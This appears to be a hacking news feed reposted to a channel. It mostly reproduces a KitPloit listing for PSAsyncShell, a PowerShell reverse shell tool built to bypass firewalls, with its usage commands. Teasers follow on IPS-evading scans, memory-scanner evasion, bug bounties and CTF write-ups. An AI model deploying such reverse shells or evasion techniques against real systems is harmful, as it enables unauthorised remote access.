hacking: security in practice
Best way to scan against IPS protected website?

Nmap is the most populair recon tool for scanning ports and services on websites. But I find it harder to use when a website well configured ips/ids system is implemented.

How do you tackle this when scanning against a website that 4000 ports open or is not getting any valuable information back?

submitted by /u/xcaliburr101
[link] [comments]

hacking: security in practice
Virtual Dictionary Creation

https://external-preview.redd.it/Zm7I2GK67rketRqiOraNcMBqbqaZlBWrBhhnlMcNjeY.jpg?width=320&crop=smart&auto=webp&s=2c34d40501bb21fdf766f44dce57404b675db2a8 submitted by /u/technowarpro
[link] [comments]

PSAsyncShell - PowerShell Asynchronous TCP Reverse Shell
http://www.kitploit.com/2022/09/psasyncshell-powershell-asynchronous.html

___________________________
@hacking_Attack
@Hacking_Video

PSAsyncShell is an Asynchronous TCP Reverse (https://www.kitploit.com/search/label/Reverse) Shell written in pure PowerShell.Unlike other reverse shells, all the communication and execution flow is done asynchronously, allowing to bypass some firewalls (https://www.kitploit.com/search/label/Firewalls) and some countermeasures against this kind of remote (https://www.kitploit.com/search/label/Remote) connections.Additionally, this tool features command history, screen wiping, file uploading and downloading, information splitting through chunks and reverse Base64 URL encoded traffic.
RequirementsPowerShell 4.0 or greaterDownloadIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:git clone https://github.com/JoelGMSec/PSAsyncShell
Usage.\PSAsyncShell.ps1 -h

____ ____ _ ____ _ _ _
| _ \/ ___| / \ ___ _ _ _ __ ___/ ___|| |__ ___| | |
| |_) \___ \ / _ \ / __| | | | '_ \ / __\___ \| '_ \ / _ \ | |
| __/ ___) / ___ \\__ \ |_| | | | | (__ ___) | | | | __/ | |
|_| |____/_/ \_\___/\__, |_| |_|\___|____/|_| |_|\___|_|_|
|___/

---------------------- by @JoelGMSec -----------------------

Info: This tool helps you to get a remote shell
over asynchronous TCP to bypass firewalls

Usage: .\PSAsyncShell.ps1 -s -p listen_port
Listen for a new connection from the client

.\PSAsyncShell.ps1 -c server_ip server_port
Connect the client (https://www.kitploit.com/search/label/Client) to a PSAsyncShell server

Warning: All info betwen parts will be sent unencrypted
Download & Upload functions don't use MultiPart

The detailed guide of use can be found at the following link:https://darkbyte.net/psasyncshell-bypasseando-firewalls-con-una-shell-tcp-asincronaLicenseThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.Credits and AcknowledgmentsThis tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSecContactThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.For more information, you can find me on Twitter (https://www.kitploit.com/search/label/Twitter) as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).

Download PSAsyncShell (https://github.com/JoelGMSec/PSAsyncShell)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
PSAsyncShell - PowerShell Asynchronous TCP Reverse Shell

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivaKwQorq948BbRsS9IbtUOeG6rO4fC0m40JWlK7VLPKcwgQQ1QE4Gbw2pPn12fW2_ppTEd2ryMorJsx-40Xs8EpAHQo5RU0Elh3JQsP6IKZ4nF8TSPjAEo4w4vbzdy4xS0LwOXVnjV234_3a9CcyCho797LYwjxeN89wH97x58LBupV3KFi-klAv6Kg/w640-h400/PSAsyncShell_1_PSAsyncShell.png
PSAsyncShell is an Asynchronous TCP Reverse Shell written in pure PowerShell.

Unlike other reverse shells, all the communication and execution flow is done asynchronously, allowing to bypass some firewalls and some countermeasures against this kind of remote connections.

Additionally, this tool features command history, screen wiping, file uploading and downloading, information splitting through chunks and reverse Base64 URL encoded traffic.
Requirements

* PowerShell 4.0 or greater

Download

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/PSAsyncShell


Usage

.\PSAsyncShell.ps1 -h

____ ____ _ ____ _ _ _
| _ \/ ___| / \ ___ _ _ _ __ ___/ ___|| |__ ___| | |
| |_) \___ \ / _ \ / __| | | | '_ \ / __\___ \| '_ \ / _ \ | |
| __/ ___) / ___ \\__ \ |_| | | | | (__ ___) | | | | __/ | |
|_| |____/_/ \_\___/\__, |_| |_|\___|____/|_| |_|\___|_|_|
|___/

---------------------- by @JoelGMSec -----------------------

Info: This tool helps you to get a remote shell
over asynchronous TCP to bypass firewalls

Usage: .\PSAsyncShell.ps1 -s -p listen_port
Listen for a new connection from the client

.\PSAsyncShell.ps1 -c server_ip server_port
Connect the client to a PSAsyncShell server

Warning: All info betwen parts will be sent unencrypted
Download & Upload functions don't use MultiPart



The detailed guide of use can be found at the following link:

https://darkbyte.net/psasyncshell-bypasseando-firewalls-con-una-shell-tcp-asincrona

License

This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.

Credits and Acknowledgments

This tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec

Contact

This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.

For more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.
Download PSAsyncShell

___________________________
@hacking_Attack
@Hacking_Video

eWPT to eWPTX Certified in 45 days (without INE labs) — Exam Review and Tips

In this article, I am going to provide feedback and helpful tips for the eWPT and eWPTXv2 exams.Continue reading on System Weakness »
Read more...

Tesla paid me $10,000 because of Directory Indexing

Many people are interested in trying Bug Bounties, but they feel they won’t be able to find anything. I hope that my success will serve as…Continue reading on Medium »
Read more...

Hacking on Medium
Vulnhub MoneyBox Walkthrough

https://cdn-images-1.medium.com/max/600/1*N1XAiSvnf_5AdIzrGviNaQ.png
What are VulnHub and MoneyBox?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Name-Based Virtual Hosting

Name based virtual hosting is a method for hosting multiple domain names on a single server. This allows one server to server to share its…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Solve Me — DownUnderCTF2022

https://cdn-images-1.medium.com/max/914/1*jlHphtWEHVctsPJVEJ7pmg.png
CTF EVENT: CyBRICS CTF 2021

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

eWPT to eWPTX Certified in 45 days (without INE labs) — Exam Review and Tips
https://systemweakness.com/ewpt-to-ewptx-certified-in-45-days-without-ine-labs-22d4e64da57b?source=rss------bug_bounty-5

In this article, I am going to provide feedback and helpful tips for the eWPT and eWPTXv2 exams.Continue reading on System Weakness » (https://systemweakness.com/ewpt-to-ewptx-certified-in-45-days-without-ine-labs-22d4e64da57b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Tesla paid me $10,000 because of Directory Indexing
https://theredteamer.medium.com/tesla-paid-me-10-000-because-of-directory-indexing-c1be06c77a3e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Many people are interested in trying Bug Bounties, but they feel they won’t be able to find anything. I hope that my success will serve as…Continue reading on Medium » (https://theredteamer.medium.com/tesla-paid-me-10-000-because-of-directory-indexing-c1be06c77a3e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Sleep obfuscation technique leveraging waitable timers to evade memory scanners.

https://external-preview.redd.it/U_BXCs1R3e_GuhsuYLBVJ-YZiAQbbBiyS3mZnJVz3ME.jpg?width=640&crop=smart&auto=webp&s=d879fdb2405c1674813fbdffe9a06ce75ec6ab1d submitted by /u/Idov31
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Tools to geolocate images posted on social media without having to download the image?

I'd like to geolocate an image from a popular social media site but do not want to download it in order to upload it onto a geolocator tool. Are there any where you can just copy+paste the link or address in?

Thank you in advance

submitted by /u/Antique__throwaway
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video